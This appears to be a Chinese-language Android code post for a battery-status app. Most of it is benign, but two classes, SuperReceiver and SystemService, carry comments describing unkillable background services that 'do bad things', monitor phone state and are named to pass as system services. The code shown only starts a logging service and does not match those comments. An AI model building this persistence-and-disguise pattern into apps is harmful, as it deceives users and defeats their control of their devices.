//AndroidManifest添配置
//电量改变的广播接收者
package com.soft.nortek.batterystate;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.BatteryManager;
import android.util.Log;
/**
* 电量改变的广播接收者
*/
public class BatteryChangedReceiver extends BroadcastReceiver {
private static String TAG = BatteryChangedReceiver.class.getSimpleName();
private Message message;
@Override
public void onReceive(Context context, Intent intent) {
/**
* 先判断是否正在充电
* ***/
int status = intent.getIntExtra(BatteryManager.EXTRA_STATUS, BatteryManager.BATTERY_STATUS_UNKNOWN);
switch (status) {
case BatteryManager.BATTERY_STATUS_CHARGING: //2
message.getMsg("当前电池状态:"+"正在充电");
Log.i(TAG,"正在充电:");
break;
case BatteryManager.BATTERY_STATUS_DISCHARGING: //3
message.getMsg("当前电池状态:"+"正在放电");
Log.i(TAG,"正在放电:" );
break;
case BatteryManager.BATTERY_STATUS_NOT_CHARGING: //4
message.getMsg("当前电池状态:"+"未充电");
Log.i(TAG,"未充电:" );
break;
case BatteryManager.BATTERY_STATUS_FULL: //5
message.getMsg("当前电池状态:"+"充满电");
Log.i(TAG,"充满电:");
break;
case BatteryManager.BATTERY_STATUS_UNKNOWN: //1
message.getMsg("当前电池状态:"+"未知道状态)");
Log.i(TAG,"未知道状态:" );
break;
}
/**
* 判断充电方式
* ***/
int plugged = intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, BatteryManager.BATTERY_PLUGGED_AC);
switch (plugged) {
case BatteryManager.BATTERY_PLUGGED_AC: //1
if(status == 2) {
message.getMsg("充电方式: "+"插头:交流电源");
message.getMsg("充电方式: "+"状态+已插入:通过交流为蓄电池充电");
}else {
message.getMsg("充电方式: "+"插头:交流电源");
message.getMsg("充电方式: "+"状态+已插入:交流电源");
}
Log.i(TAG,"充电方式: "+"AC供电");
break;
case BatteryManager.BATTERY_PLUGGED_USB: //2
message.getMsg("充电方式: "+"USB充电");
Log.i(TAG,"充电方式: "+"USB充电");
break;
case BatteryManager.BATTERY_PLUGGED_WIRELESS: //4
message.getMsg("充电方式: "+"无线充电");
Log.i(TAG,"无线充电");
break;
}
/**
* 判断电池健康状态
* ***/
int health = intent.getIntExtra(BatteryManager.EXTRA_HEALTH, BatteryManager.BATTERY_HEALTH_UNKNOWN);
switch (health) {
case BatteryManager.BATTERY_HEALTH_GOOD:
message.getMsg("电池健康状态: "+"良好");
Log.i(TAG,"良好");
break;
case BatteryManager.BATTERY_HEALTH_OVERHEAT:
message.getMsg("电池健康状态: "+"过热");
Log.i(TAG,"过热");
break;
case BatteryManager.BATTERY_HEALTH_DEAD:
message.getMsg("电池健康状态: "+"没电");
Log.i(TAG,"没电");
break;
case BatteryManager.BATTERY_HEALTH_OVER_VOLTAGE:
message.getMsg("电池健康状态: "+"过电压");
Log.i(TAG,"过电压");
break;
case BatteryManager.BATTERY_HEALTH_UNSPECIFIED_FAILURE:
message.getMsg("电池健康状态:"+ "未知错误");
Log.i(TAG,"未知错误");
break;
}
/**
* 判断电池状态变化
* ***/
switch (intent.getAction()) {
case Intent.ACTION_BATTERY_CHANGED:
message.getMsg("电池当前电量: " + intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1)+" %"); //电池当前电量值
message.getMsg("电池总电量: " + intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1)+" %"); //电池总电量
message.getMsg("电池伏数: " + intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1)/1000+" V"); //电池伏数
message.getMsg("电池温度: " + intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1)/10+" 度"); //电池温度
message.getMsg("当前电池使用技术: " + intent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY)); //描述当前电池技术
break;
case Intent.ACTION_BATTERY_LOW://
Log.i(TAG, "电池电量低");
message.getMsg("电池状态变化: "+"电池电量低");
break;
case Intent.ACTION_BATTERY_OKAY://
Log.i(TAG, "电池已经从电量低恢复为正常");
message.getMsg("电池状态变化: "+"电池已经从电量低恢复为正常)");
break;
case Intent.ACTION_POWER_CONNECTED:
Log.i(TAG, "ACTION_POWER_CONNECTED:" + Intent.ACTION_POWER_CONNECTED);
message.getMsg("电池状态变化: "+"电源:已连接");
break;
case Intent.ACTION_POWER_DISCONNECTED:
Log.i(TAG, "ACTION_POWER_DISCONNECTED:" + Intent.ACTION_POWER_DISCONNECTED);
message.getMsg("电池状态变化: "+"电源:已断开");
break;
default:
break;
}
}
public interface Message{
public void getMsg(String str);
}
public void setMessage(Message message){
this.message = message;
}
}
/**
* 在一个超级广播接收者中启动服务
* 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事
*/
package com.soft.nortek.batterystate;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
/**
* 在一个超级广播接收者中启动服务
* 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事
*/
public class SuperReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, SystemService.class));
Log.i("bqt", intent.getAction());
}
}
/**
* 一个监听用户电话状态的服务
* 为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。
* 为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务!
*/
package com.soft.nortek.batterystate;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.util.Log;
/**
* 一个监听用户电话状态的服务
* 为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。
* 为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务!
*/
public class SystemService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
Log.i("bqt", "onStartCommand");
return START_STICKY;//当service因内存不足被kill,当内存又有的时候,service又被重新创建
}
}
Mactivity
package com.soft.nortek.batterystate;
import android.app.Activity;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.util.Log;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import java.util.ArrayList;
public class MainActivity extends Activity implements BatteryChangedReceiver.Message{
private static final String TAG ="" ;
private BatteryChangedReceiver receiver;
private ArrayList mData;
private ListView batteryState;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
batteryState = findViewById(R.id.battery_state_list);
mData = new ArrayList<>(10);
if (receiver == null) receiver = new BatteryChangedReceiver();
registerReceiver(receiver, getIntentFilter());//电池的状态改变广播只能通过动态方式注册
receiver.setMessage(this);
}
private IntentFilter getIntentFilter() {
IntentFilter filter = new IntentFilter();
filter.addAction(Intent.ACTION_BATTERY_CHANGED);
filter.addAction(Intent.ACTION_BATTERY_LOW);
filter.addAction(Intent.ACTION_BATTERY_OKAY);
filter.addAction(Intent.ACTION_POWER_CONNECTED);
filter.addAction(Intent.ACTION_POWER_DISCONNECTED);
return filter;
}
@Override
public void getMsg(String str) {
if(str.equals("Battery States")){
mData.clear();
}
mData.add(str);
batteryState.setAdapter(new ArrayAdapter(this, android.R.layout.simple_list_item_1, mData));
Log.i("str:",str);
Log.d(TAG,"接收到数据"+str);
}
}
xml布局代码